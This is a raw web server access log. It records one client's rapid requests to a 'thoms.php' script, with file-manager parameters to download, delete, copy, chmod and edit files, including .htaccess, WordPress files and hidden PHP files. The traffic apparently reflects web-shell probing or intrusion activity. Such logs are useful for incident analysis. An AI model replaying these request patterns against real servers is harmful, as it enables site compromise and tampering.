45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?dl=error_log&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2Ftxets.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2Ftxets.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?del=error_log&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /bfl.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /bfl.com.tw/upgrade/.575494119812260.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?chmod=.952023047303216.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.952023047303216.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?del=termps.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=termps.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?chmod=admin.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?dl=admin.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?chmod=.575494119812260.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.575494119812260.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2Findex.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2Findex.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?chmod=termps.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?del=txets.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=txets.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?dl=.575494119812260.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.575494119812260.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2Ferror_log&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2Ferror_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:28 -0400] "GET /thoms.php?del=postnews.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?edit=locoy.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?edit=mah.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?edit=.htaccess&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /bfl.com.tw/legacy-checkpoint/index.php HTTP/1.1" 200 6360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?chmod=profile.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?dl=admin.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:31 -0400] "GET /thoms.php?del=admin.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
